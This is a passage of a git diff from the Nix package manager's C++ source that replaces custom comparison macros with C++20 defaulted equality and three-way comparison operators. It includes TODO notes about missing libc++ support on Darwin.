-GENERATE_CMP_EXT( - , - BuildResult, - me->status, - me->errorMsg, - me->timesBuilt, - me->isNonDeterministic, - me->builtOutputs, - me->startTime, - me->stopTime, - me->cpuUser, - me->cpuSystem); +bool BuildResult::operator==(const BuildResult &) const noexcept = default; +std::strong_ordering BuildResult::operator<=>(const BuildResult &) const noexcept = default; } diff --git a/src/libstore/build-result.hh b/src/libstore/build-result.hh index 3636ad3a4..8c66cfeb3 100644 --- a/src/libstore/build-result.hh +++ b/src/libstore/build-result.hh @@ -3,7 +3,6 @@ #include "realisation.hh" #include "derived-path.hh" -#include "comparator.hh" #include #include @@ -101,7 +100,8 @@ struct BuildResult */ std::optional cpuUser, cpuSystem; - DECLARE_CMP(BuildResult); + bool operator ==(const BuildResult &) const noexcept; + std::strong_ordering operator <=>(const BuildResult &) const noexcept; bool success() { diff --git a/src/libstore/content-address.hh b/src/libstore/content-address.hh index 270e04789..bb515013a 100644 --- a/src/libstore/content-address.hh +++ b/src/libstore/content-address.hh @@ -73,6 +73,7 @@ struct ContentAddressMethod Raw raw; + bool operator ==(const ContentAddressMethod &) const = default; auto operator <=>(const ContentAddressMethod &) const = default; MAKE_WRAPPER_CONSTRUCTOR(ContentAddressMethod); @@ -159,6 +160,7 @@ struct ContentAddress */ Hash hash; + bool operator ==(const ContentAddress &) const = default; auto operator <=>(const ContentAddress &) const = default; /** @@ -217,6 +219,10 @@ struct StoreReferences * iff self is true. */ size_t size() const; + + bool operator ==(const StoreReferences &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const StoreReferences &) const = default; }; // This matches the additional info that we need for makeTextPath @@ -232,6 +238,10 @@ struct TextInfo * disallowed */ StorePathSet references; + + bool operator ==(const TextInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const TextInfo &) const = default; }; struct FixedOutputInfo @@ -250,6 +260,10 @@ struct FixedOutputInfo * References to other store objects or this one. */ StoreReferences references; + + bool operator ==(const FixedOutputInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const FixedOutputInfo &) const = default; }; /** @@ -266,6 +280,10 @@ struct ContentAddressWithReferences Raw raw; + bool operator ==(const ContentAddressWithReferences &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const ContentAddressWithReferences &) const = default; + MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences); /** diff --git a/src/libstore/derivations.hh b/src/libstore/derivations.hh index 9b82e5d12..58e5328a5 100644 --- a/src/libstore/derivations.hh +++ b/src/libstore/derivations.hh @@ -8,7 +8,6 @@ #include "repair-flag.hh" #include "derived-path-map.hh" #include "sync.hh" -#include "comparator.hh" #include "variant-wrapper.hh" #include @@ -32,7 +31,8 @@ struct DerivationOutput { StorePath path; - GENERATE_CMP(InputAddressed, me->path); + bool operator == (const InputAddressed &) const = default; + auto operator <=> (const InputAddressed &) const = default; }; /** @@ -56,7 +56,8 @@ struct DerivationOutput */ StorePath path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; - GENERATE_CMP(CAFixed, me->ca); + bool operator == (const CAFixed &) const = default; + auto operator <=> (const CAFixed &) const = default; }; /** @@ -76,7 +77,8 @@ struct DerivationOutput */ HashAlgorithm hashAlgo; - GENERATE_CMP(CAFloating, me->method, me->hashAlgo); + bool operator == (const CAFloating &) const = default; + auto operator <=> (const CAFloating &) const = default; }; /** @@ -84,7 +86,8 @@ struct DerivationOutput * isn't known yet. */ struct Deferred { - GENERATE_CMP(Deferred); + bool operator == (const Deferred &) const = default; + auto operator <=> (const Deferred &) const = default; }; /** @@ -103,7 +106,8 @@ struct DerivationOutput */ HashAlgorithm hashAlgo; - GENERATE_CMP(Impure, me->method, me->hashAlgo); + bool operator == (const Impure &) const = default; + auto operator <=> (const Impure &) const = default; }; typedef std::variant< @@ -116,7 +120,8 @@ struct DerivationOutput Raw raw; - GENERATE_CMP(DerivationOutput, me->raw); + bool operator == (const DerivationOutput &) const = default; + auto operator <=> (const DerivationOutput &) const = default; MAKE_WRAPPER_CONSTRUCTOR(DerivationOutput); @@ -177,7 +182,8 @@ struct DerivationType { */ bool deferred; - GENERATE_CMP(InputAddressed, me->deferred); + bool operator == (const InputAddressed &) const = default; + auto operator <=> (const InputAddressed &) const = default; }; /** @@ -201,7 +207,8 @@ struct DerivationType { */ bool fixed; - GENERATE_CMP(ContentAddressed, me->sandboxed, me->fixed); + bool operator == (const ContentAddressed &) const = default; + auto operator <=> (const ContentAddressed &) const = default; }; /** @@ -211,7 +218,8 @@ struct DerivationType { * type, but has some restrictions on its usage. */ struct Impure { - GENERATE_CMP(Impure); + bool operator == (const Impure &) const = default; + auto operator <=> (const Impure &) const = default; }; typedef std::variant< @@ -222,7 +230,8 @@ struct DerivationType { Raw raw; - GENERATE_CMP(DerivationType, me->raw); + bool operator == (const DerivationType &) const = default; + auto operator <=> (const DerivationType &) const = default; MAKE_WRAPPER_CONSTRUCTOR(DerivationType); @@ -312,14 +321,9 @@ struct BasicDerivation static std::string_view nameFromPath(const StorePath & storePath); - GENERATE_CMP(BasicDerivation, - me->outputs, - me->inputSrcs, - me->platform, - me->builder, - me->args, - me->env, - me->name); + bool operator == (const BasicDerivation &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const BasicDerivation &) const = default; }; class Store; @@ -377,9 +381,9 @@ struct Derivation : BasicDerivation const nlohmann::json & json, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); - GENERATE_CMP(Derivation, - static_cast(*me), - me->inputDrvs); + bool operator == (const Derivation &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const Derivation &) const = default; }; diff --git a/src/libstore/derived-path-map.cc b/src/libstore/derived-path-map.cc index 4c1ea417a..c97d52773 100644 --- a/src/libstore/derived-path-map.cc +++ b/src/libstore/derived-path-map.cc @@ -54,17 +54,18 @@ typename DerivedPathMap::ChildNode * DerivedPathMap::findSlot(const Single namespace nix { -GENERATE_CMP_EXT( - template<>, - DerivedPathMap>::ChildNode, - me->value, - me->childMap); +template<> +bool DerivedPathMap>::ChildNode::operator == ( + const DerivedPathMap>::ChildNode &) const noexcept = default; -GENERATE_CMP_EXT( - template<>, - DerivedPathMap>, - me->map); +// TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. +#if 0 +template<> +std::strong_ordering DerivedPathMap>::ChildNode::operator <=> ( + const DerivedPathMap>::ChildNode &) const noexcept = default; +#endif +template struct DerivedPathMap>::ChildNode; template struct DerivedPathMap>; }; diff --git a/src/libstore/derived-path-map.hh b/src/libstore/derived-path-map.hh index 393cdedf7..bd60fe887 100644 --- a/src/libstore/derived-path-map.hh +++ b/src/libstore/derived-path-map.hh @@ -47,7 +47,11 @@ struct DerivedPathMap { */ Map childMap; - DECLARE_CMP(ChildNode); + bool operator == (const ChildNode &) const noexcept; + + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + // decltype(std::declval() <=> std::declval()) + // operator <=> (const ChildNode &) const noexcept; }; /** @@ -60,7 +64,10 @@ struct DerivedPathMap { */ Map map; - DECLARE_CMP(DerivedPathMap); + bool operator == (const DerivedPathMap &) const = default; + + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + // auto operator <=> (const DerivedPathMap &) const noexcept; /** * Find the node for `k`, creating it if needed. @@ -83,14 +90,21 @@ struct DerivedPathMap { ChildNode * findSlot(const SingleDerivedPath & k); }; +template<> +bool DerivedPathMap>::ChildNode::operator == ( + const DerivedPathMap>::ChildNode &) const noexcept; -DECLARE_CMP_EXT( - template<>, - DerivedPathMap>::, - DerivedPathMap>); -DECLARE_CMP_EXT( - template<>, - DerivedPathMap>::ChildNode::, - DerivedPathMap>::ChildNode); +// TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. +#if 0 +template<> +std::strong_ordering DerivedPathMap>::ChildNode::operator <=> ( + const DerivedPathMap>::ChildNode &) const noexcept; + +template<> +inline auto DerivedPathMap>::operator <=> (const DerivedPathMap> &) const noexcept = default; +#endif + +extern template struct DerivedPathMap>::ChildNode; +extern template struct DerivedPathMap>; } diff --git a/src/libstore/derived-path.cc b/src/libstore/derived-path.cc index a7b404321..1eef881de 100644 --- a/src/libstore/derived-path.cc +++ b/src/libstore/derived-path.cc @@ -1,6 +1,7 @@ #include "derived-path.hh" #include "derivations.hh" #include "store-api.hh" +#include "comparator.hh" #include @@ -8,26 +9,32 @@ namespace nix { -#define CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, COMPARATOR) \ - bool MY_TYPE ::operator COMPARATOR (const MY_TYPE & other) const \ - { \ - const MY_TYPE* me = this; \ - auto fields1 = std::tie(*me->drvPath, me->FIELD); \ - me = &other; \ - auto fields2 = std::tie(*me->drvPath, me->FIELD); \ - return fields1 COMPARATOR fields2; \ - } -#define CMP(CHILD_TYPE, MY_TYPE, FIELD) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, ==) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, !=) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, <) +// Custom implementation to avoid `ref` ptr equality +GENERATE_CMP_EXT( + , + std::strong_ordering, + SingleDerivedPathBuilt, + *me->drvPath, + me->output); -CMP(SingleDerivedPath, SingleDerivedPathBuilt, output) +// Custom implementation to avoid `ref` ptr equality -CMP(SingleDerivedPath, DerivedPathBuilt, outputs) - -#undef CMP -#undef CMP_ONE +// TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on +// Darwin, per header. +GENERATE_EQUAL( + , + DerivedPathBuilt ::, + DerivedPathBuilt, + *me->drvPath, + me->outputs); +GENERATE_ONE_CMP( + , + bool, + DerivedPathBuilt ::, + <, + DerivedPathBuilt, + *me->drvPath, + me->outputs); nlohmann::json DerivedPath::Opaque::toJSON(const StoreDirConfig & store) const { diff --git a/src/libstore/derived-path.hh b/src/libstore/derived-path.hh index af66ed4f0..4ba3fb37d 100644 --- a/src/libstore/derived-path.hh +++ b/src/libstore/derived-path.hh @@ -3,7 +3,6 @@ #include "path.hh" #include "outputs-spec.hh" -#include "comparator.hh" #include "config.hh" #include "ref.hh" @@ -32,7 +31,8 @@ struct DerivedPathOpaque { static DerivedPathOpaque parse(const StoreDirConfig & store, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; - GENERATE_CMP(DerivedPathOpaque, me->path); + bool operator == (const DerivedPathOpaque &) const = default; + auto operator <=> (const DerivedPathOpaque &) const = default; }; struct SingleDerivedPath; @@ -79,7 +79,8 @@ struct SingleDerivedPathBuilt { const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); nlohmann::json toJSON(Store & store) const; - DECLARE_CMP(SingleDerivedPathBuilt); + bool operator == (const SingleDerivedPathBuilt &) const noexcept; + std::strong_ordering operator <=> (const SingleDerivedPathBuilt &) const noexcept; }; using _SingleDerivedPathRaw = std::variant< @@ -109,6 +110,9 @@ struct SingleDerivedPath : _SingleDerivedPathRaw { return static_cast(*this); } + bool operator == (const SingleDerivedPath &) const = default; + auto operator <=> (const SingleDerivedPath &) const = default; + /** * Get the store path this is ultimately derived from (by realising * and projecting outputs). @@ -202,7 +206,9 @@ struct DerivedPathBuilt { const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); nlohmann::json toJSON(Store & store) const; - DECLARE_CMP(DerivedPathBuilt); + bool operator == (const DerivedPathBuilt &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const DerivedPathBuilt &) const noexcept; }; using _DerivedPathRaw = std::variant< @@ -231,6 +237,10 @@ struct DerivedPath : _DerivedPathRaw { return static_cast(*this); } + bool operator == (const DerivedPath &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + //auto operator <=> (const DerivedPath &) const = default; + /** * Get the store path this is ultimately derived from (by realising * and projecting outputs). diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index 0d219a489..3e0a754f9 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -4,15 +4,6 @@ namespace nix { -GENERATE_CMP_EXT( - , - NarInfo, - me->url, - me->compression, - me->fileHash, - me->fileSize, - static_cast(*me)); - NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & whence) : ValidPathInfo(StorePath(StorePath::dummy), Hash(Hash::dummy)) // FIXME: hack { diff --git a/src/libstore/nar-info.hh b/src/libstore/nar-info.hh index fd538a7cd..561c9a863 100644 --- a/src/libstore/nar-info.hh +++ b/src/libstore/nar-info.hh @@ -24,7 +24,9 @@ struct NarInfo : ValidPathInfo NarInfo(const ValidPathInfo & info) : ValidPathInfo(info) { } NarInfo(const Store & store, const std::string & s, const std::string & whence); - DECLARE_CMP(NarInfo); + bool operator ==(const NarInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::optional::operator <=>`, can't do yet + //auto operator <=>(const NarInfo &) const = default; std::string to_string(const Store & store) const; diff --git a/src/libstore/outputs-spec.hh b/src/libstore/outputs-spec.hh index 1ef99a5fc..30d15311d 100644 --- a/src/libstore/outputs-spec.hh +++ b/src/libstore/outputs-spec.hh @@ -6,9 +6,7 @@ #include #include -#include "comparator.hh" #include "json-impls.hh" -#include "comparator.hh" #include "variant-wrapper.hh" namespace nix { @@ -60,7 +58,11 @@ struct OutputsSpec { Raw raw; - GENERATE_CMP(OutputsSpec, me->raw); + bool operator == (const OutputsSpec &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const OutputsSpec & other) const { + return raw < other.raw; + } MAKE_WRAPPER_CONSTRUCTOR(OutputsSpec); @@ -99,7 +101,9 @@ struct ExtendedOutputsSpec { Raw raw; - GENERATE_CMP(ExtendedOutputsSpec, me->raw); + bool operator == (const ExtendedOutputsSpec &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const ExtendedOutputsSpec &) const; MAKE_WRAPPER_CONSTRUCTOR(ExtendedOutputsSpec); diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index 5c27182b7..51ed5fc62 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -3,11 +3,13 @@ #include "path-info.hh" #include "store-api.hh" #include "json-utils.hh" +#include "comparator.hh" namespace nix { GENERATE_CMP_EXT( , + std::weak_ordering, UnkeyedValidPathInfo, me->deriver, me->narHash, @@ -19,12 +21,6 @@ GENERATE_CMP_EXT( me->sigs, me->ca); -GENERATE_CMP_EXT( - , - ValidPathInfo, - me->path, - static_cast(*me)); - std::string ValidPathInfo::fingerprint(const Store & store) const { if (narSize == 0) diff --git a/src/libstore/path-info.hh b/src/libstore/path-info.hh index b6dc0855d..caefa7975 100644 --- a/src/libstore/path-info.hh +++ b/src/libstore/path-info.hh @@ -32,17 +32,47 @@ struct SubstitutablePathInfo using SubstitutablePathInfos = std::map; +/** + * Information about a store object. + * + * See `store/store-object` and `protocols/json/store-object-info` in + * the Nix manual + */ struct UnkeyedValidPathInfo { + /** + * Path to derivation that produced this store object, if known. + */ std::optional deriver; + /** * \todo document this */ Hash narHash; + + /** + * Other store objects this store object referes to. + */ StorePathSet references; + + /** + * When this store object was registered in the store that contains + * it, if known. + */ time_t registrationTime = 0; - uint64_t narSize = 0; // 0 = unknown - uint64_t id = 0; // internal use only + + /** + * 0 = unknown + */ + uint64_t narSize = 0; + + /** + * internal use only: SQL primary key for on-disk store objects with + * `LocalStore`. + * + * @todo Remove, layer violation + */ + uint64_t id = 0; /** * Whether the path is ultimately trusted, that is, it's a @@ -75,7 +105,12 @@ struct UnkeyedValidPathInfo UnkeyedValidPathInfo(Hash narHash) : narHash(narHash) { }; - DECLARE_CMP(UnkeyedValidPathInfo); + bool operator == (const UnkeyedValidPathInfo &) const noexcept; + + /** + * @todo return `std::strong_ordering` once `id` is removed + */ + std::weak_ordering operator <=> (const UnkeyedValidPathInfo &) const noexcept; virtual ~UnkeyedValidPathInfo() { } @@ -95,7 +130,8 @@ struct UnkeyedValidPathInfo struct ValidPathInfo : UnkeyedValidPathInfo { StorePath path; - DECLARE_CMP(ValidPathInfo); + bool operator == (const ValidPathInfo &) const = default; + auto operator <=> (const ValidPathInfo &) const = default; /** * Return a fingerprint of the store path to be used in binary diff --git a/src/libutil/args.cc b/src/libutil/args.cc index c202facdf..d58f4b4ae 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -57,8 +57,7 @@ void Completions::add(std::string completion, std::string description) }); } -bool Completion::operator<(const Completion & other) const -{ return completion < other.completion || (completion == other.completion && description < other.description); } +auto Completion::operator<=>(const Completion & other) const noexcept = default; std::string completionMarker = "___COMPLETE___"; diff --git a/src/libutil/args.hh b/src/libutil/args.hh index f6e74e67e..c0236ee3d 100644 --- a/src/libutil/args.hh +++ b/src/libutil/args.hh @@ -380,7 +380,7 @@ struct Completion { std::string completion; std::string description; - bool operator<(const Completion & other) const; + auto operator<=>(const Completion & other) const noexcept; }; /** diff --git a/src/libutil/canon-path.hh b/src/libutil/canon-path.hh index 8f5a1c279..f84347dc4 100644 --- a/src/libutil/canon-path.hh +++ b/src/libutil/canon-path.hh @@ -169,7 +169,7 @@ public: * a directory is always followed directly by its children. For * instance, 'foo' < 'foo/bar' < 'foo!'. */ - bool operator < (const CanonPath & x) const + auto operator <=> (const CanonPath & x) const { auto i = path.begin(); auto j = x.path.begin(); @@ -178,10 +178,9 @@ public: if (c_i == '/') c_i = 0; auto c_j = *j; if (c_j == '/') c_j = 0; - if (c_i < c_j) return true; - if (c_i > c_j) return false; + if (auto cmp = c_i <=> c_j; cmp != 0) return cmp; } - return i == path.end() && j != x.path.end(); + return (i != path.end()) <=> (j != x.path.end()); } /** diff --git a/src/libutil/comparator.hh b/src/libutil/comparator.hh index cbc2bb4fd..34ba6f453 100644 --- a/src/libutil/comparator.hh +++ b/src/libutil/comparator.hh @@ -1,17 +1,8 @@ #pragma once ///@file -#define DECLARE_ONE_CMP(PRE, QUAL, COMPARATOR, MY_TYPE) \ - PRE bool QUAL operator COMPARATOR(const MY_TYPE & other) const; -#define DECLARE_EQUAL(prefix, qualification, my_type) \ - DECLARE_ONE_CMP(prefix, qualification, ==, my_type) -#define DECLARE_LEQ(prefix, qualification, my_type) \ - DECLARE_ONE_CMP(prefix, qualification, <, my_type) -#define DECLARE_NEQ(prefix, qualification, my_type) \ - DECLARE_ONE_CMP(prefix, qualification, !=, my_type) - -#define GENERATE_ONE_CMP(PRE, QUAL, COMPARATOR, MY_TYPE, ...) \ - PRE bool QUAL operator COMPARATOR(const MY_TYPE & other) const { \ +#define GENERATE_ONE_CMP(PRE, RET, QUAL, COMPARATOR, MY_TYPE, ...) \ + PRE RET QUAL operator COMPARATOR(const MY_TYPE & other) const noexcept { \ __VA_OPT__(const MY_TYPE * me = this;) \ auto fields1 = std::tie( __VA_ARGS__ ); \ __VA_OPT__(me = &other;) \ @@ -19,30 +10,9 @@ return fields1 COMPARATOR fields2; \ } #define GENERATE_EQUAL(prefix, qualification, my_type, args...) \ - GENERATE_ONE_CMP(prefix, qualification, ==, my_type, args) -#define GENERATE_LEQ(prefix, qualification, my_type, args...) \ - GENERATE_ONE_CMP(prefix, qualification, <, my_type, args) -#define GENERATE_NEQ(prefix, qualification, my_type, args...) \ - GENERATE_ONE_CMP(prefix, qualification, !=, my_type, args) - -/** - * Declare comparison methods without defining them. - */ -#define DECLARE_CMP(my_type) \ - DECLARE_EQUAL(,,my_type) \ - DECLARE_LEQ(,,my_type) \ - DECLARE_NEQ(,,my_type) - -/** - * @param prefix This is for something before each declaration like - * `template`. - * - * @param my_type the type are defining operators for. - */ -#define DECLARE_CMP_EXT(prefix, qualification, my_type) \ - DECLARE_EQUAL(prefix, qualification, my_type) \ - DECLARE_LEQ(prefix, qualification, my_type) \ - DECLARE_NEQ(prefix, qualification, my_type) + GENERATE_ONE_CMP(prefix, bool, qualification, ==, my_type, args) +#define GENERATE_SPACESHIP(prefix, ret, qualification, my_type, args...) \ + GENERATE_ONE_CMP(prefix, ret, qualification, <=>, my_type, args) /** * Awful hacky generation of the comparison operators by doing a lexicographic @@ -55,15 +25,19 @@ * will generate comparison operators semantically equivalent to: * * ``` - * bool operator<(const ClassName& other) { - * return field1 < other.field1 && field2 < other.field2 && ...; + * auto operator<=>(const ClassName& other) const noexcept { + * if (auto cmp = field1 <=> other.field1; cmp != 0) + * return cmp; + * if (auto cmp = field2 <=> other.field2; cmp != 0) + * return cmp; + * ... + * return 0; * } * ``` */ #define GENERATE_CMP(args...) \ GENERATE_EQUAL(,,args) \ - GENERATE_LEQ(,,args) \ - GENERATE_NEQ(,,args) + GENERATE_SPACESHIP(,auto,,args) /** * @param prefix This is for something before each declaration like @@ -71,7 +45,6 @@ * * @param my_type the type are defining operators for. */ -#define GENERATE_CMP_EXT(prefix, my_type, args...) \ +#define GENERATE_CMP_EXT(prefix, ret, my_type, args...) \ GENERATE_EQUAL(prefix, my_type ::, my_type, args) \ - GENERATE_LEQ(prefix, my_type ::, my_type, args) \ - GENERATE_NEQ(prefix, my_type ::, my_type, args) + GENERATE_SPACESHIP(prefix, ret, my_type ::, my_type, args) diff --git a/src/libutil/error.cc b/src/libutil/error.cc index e01f06448..33c391963 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -46,27 +46,22 @@ std::ostream & operator <<(std::ostream & os, const HintFmt & hf) /** * An arbitrarily defined value comparison for the purpose of using traces in the key of a sorted container. */ -inline bool operator<(const Trace& lhs, const Trace& rhs) +inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs) { // `std::shared_ptr` does not have value semantics for its comparison // functions, so we need to check for nulls and compare the dereferenced // values here. if (lhs.pos != rhs.pos) { - if (!lhs.pos) - return true; - if (!rhs.pos) - return false; - if (*lhs.pos != *rhs.pos) - return *lhs.pos < *rhs.pos; + if (auto cmp = bool{lhs.pos} <=> bool{rhs.pos}; cmp != 0) + return cmp; + if (auto cmp = *lhs.pos <=> *rhs.pos; cmp != 0) + return cmp; } // This formats a freshly formatted hint string and then throws it away, which // shouldn't be much of a problem because it only runs when pos is equal, and this function is // used for trace printing, which is infrequent. - return lhs.hint.str() < rhs.hint.str(); + return lhs.hint.str() <=> rhs.hint.str(); } -inline bool operator> (const Trace& lhs, const Trace& rhs) { return rhs < lhs; } -inline bool operator<=(const Trace& lhs, const Trace& rhs) { return !(lhs > rhs); } -inline bool operator>=(const Trace& lhs, const Trace& rhs) { return !(lhs < rhs); } // print lines of code to the ostream, indicating the error column. void printCodeLines(std::ostream & out, diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 8cc8fb303..d7fe902d6 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -75,10 +75,7 @@ struct Trace { TracePrint print = TracePrint::Default; }; -inline bool operator<(const Trace& lhs, const Trace& rhs); -inline bool operator> (const Trace& lhs, const Trace& rhs); -inline bool operator<=(const Trace& lhs, const Trace& rhs); -inline bool operator>=(const Trace& lhs, const Trace& rhs); +inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs); struct ErrorInfo { Verbosity level; diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index 1da2a3ff5..6ffbc0c10 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -1,7 +1,6 @@ #pragma once ///@file -#include "comparator.hh" #include "error.hh" #include "json-utils.hh" #include "types.hh" diff --git a/src/libutil/git.hh b/src/libutil/git.hh index 2190cc550..1dbdb7335 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -39,7 +39,8 @@ struct TreeEntry Mode mode; Hash hash; - GENERATE_CMP(TreeEntry, me->mode, me->hash); + bool operator ==(const TreeEntry &) const = default; + auto operator <=>(const TreeEntry &) const = default; }; /** diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index 7064e96e6..35b913e42 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -41,7 +41,7 @@ Hash::Hash(HashAlgorithm algo) : algo(algo) } -bool Hash::operator == (const Hash & h2) const +bool Hash::operator == (const Hash & h2) const noexcept { if (hashSize != h2.hashSize) return false; for (unsigned int i = 0; i < hashSize; i++) @@ -50,7 +50,7 @@ bool Hash::operator == (const Hash & h2) const } -std::strong_ordering Hash::operator <=> (const Hash & h) const +std::strong_ordering Hash::operator <=> (const Hash & h) const noexcept { if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp; for (unsigned int i = 0; i < hashSize; i++) { diff --git a/src/libutil/hash.hh b/src/libutil/hash.hh index ef96d08c9..dc95b9f2f 100644 --- a/src/libutil/hash.hh +++ b/src/libutil/hash.hh @@ -88,12 +88,12 @@ public: /** * Check whether two hashes are equal. */ - bool operator == (const Hash & h2) const; + bool operator == (const Hash & h2) const noexcept; /** * Compare how two hashes are ordered. */ - std::strong_ordering operator <=> (const Hash & h2) const; + std::strong_ordering operator <=> (const Hash & h2) const noexcept; /** * Returns the length of a base-16 representation of this hash. diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh index cd5146c89..012a388c0 100644 --- a/src/libutil/memory-source-accessor.hh +++ b/src/libutil/memory-source-accessor.hh @@ -15,11 +15,15 @@ struct MemorySourceAccessor : virtual SourceAccessor * defining what a "file system object" is in Nix. */ struct File { + bool operator == (const File &) const noexcept; + std::strong_ordering operator <=> (const File &) const noexcept; + struct Regular { bool executable = false; std::string contents; - GENERATE_CMP(Regular, me->executable, me->contents); + bool operator == (const Regular &) const = default; + auto operator <=> (const Regular &) const = default; }; struct Directory { @@ -27,13 +31,16 @@ struct MemorySourceAccessor : virtual SourceAccessor std::map> contents; - GENERATE_CMP(Directory, me->contents); + bool operator == (const Directory &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + bool operator < (const Directory &) const noexcept; }; struct Symlink { std::string target; - GENERATE_CMP(Symlink, me->target); + bool operator == (const Symlink &) const = default; + auto operator <=> (const Symlink &) const = default; }; using Raw = std::variant; @@ -41,14 +48,15 @@ struct MemorySourceAccessor : virtual SourceAccessor MAKE_WRAPPER_CONSTRUCTOR(File); - GENERATE_CMP(File, me->raw); - Stat lstat() const; }; File root { File::Directory {} }; - GENERATE_CMP(MemorySourceAccessor, me->root); + bool operator == (const MemorySourceAccessor &) const noexcept = default; + bool operator < (const MemorySourceAccessor & other) const noexcept { + return root < other.root; + } std::string readFile(const CanonPath & path) override; bool pathExists(const CanonPath & path) override; @@ -72,6 +80,20 @@ struct MemorySourceAccessor : virtual SourceAccessor SourcePath addFile(CanonPath path, std::string && contents); }; + +inline bool MemorySourceAccessor::File::Directory::operator == ( + const MemorySourceAccessor::File::Directory &) const noexcept = default; +inline bool MemorySourceAccessor::File::Directory::operator < ( + const MemorySourceAccessor::File::Directory & other) const noexcept +{ + return contents < other.contents; +} + +inline bool MemorySourceAccessor::File::operator == ( + const MemorySourceAccessor::File &) const noexcept = default; +inline std::strong_ordering MemorySourceAccessor::File::operator <=> ( + const MemorySourceAccessor::File &) const noexcept = default; + /** * Write to a `MemorySourceAccessor` at the given path */ diff --git a/src/libutil/position.cc b/src/libutil/position.cc index 724e560b7..573efeeb2 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -17,12 +17,6 @@ Pos::operator std::shared_ptr() const return std::make_shared(&*this); } -bool Pos::operator<(const Pos &rhs) const -{ - return std::forward_as_tuple(line, column, origin) - < std::forward_as_tuple(rhs.line, rhs.column, rhs.origin); -} - std::optional Pos::getCodeLines() const { if (line == 0) diff --git a/src/libutil/position.hh b/src/libutil/position.hh index 9bdf3b4b5..f8f34419b 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -22,21 +22,17 @@ struct Pos struct Stdin { ref source; - bool operator==(const Stdin & rhs) const + bool operator==(const Stdin & rhs) const noexcept { return *source == *rhs.source; } - bool operator!=(const Stdin & rhs) const - { return *source != *rhs.source; } - bool operator<(const Stdin & rhs) const - { return *source < *rhs.source; } + std::strong_ordering operator<=>(const Stdin & rhs) const noexcept + { return *source <=> *rhs.source; } }; struct String { ref source; - bool operator==(const String & rhs) const + bool operator==(const String & rhs) const noexcept { return *source == *rhs.source; } - bool operator!=(const String & rhs) const - { return *source != *rhs.source; } - bool operator<(const String & rhs) const - { return *source < *rhs.source; } + std::strong_ordering operator<=>(const String & rhs) const noexcept + { return *source <=> *rhs.source; } }; typedef std::variant Origin; @@ -65,8 +61,7 @@ struct Pos std::optional getCodeLines() const; bool operator==(const Pos & rhs) const = default; - bool operator!=(const Pos & rhs) const = default; - bool operator<(const Pos & rhs) const; + auto operator<=>(const Pos & rhs) const = default; struct LinesIterator { using difference_type = size_t; diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh index 8318251bd..016fdd74a 100644 --- a/src/libutil/ref.hh +++ b/src/libutil/ref.hh @@ -87,9 +87,9 @@ public: return p != other.p; } - bool operator < (const ref & other) const + auto operator <=> (const ref & other) const { - return p < other.p; + return p <=> other.p; } private: diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index 32ab3685d..b16960d4a 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -152,9 +152,9 @@ struct SourceAccessor : std::enable_shared_from_this return number == x.number; } - bool operator < (const SourceAccessor & x) const + auto operator <=> (const SourceAccessor & x) const { - return number < x.number; + return number <=> x.number; } void 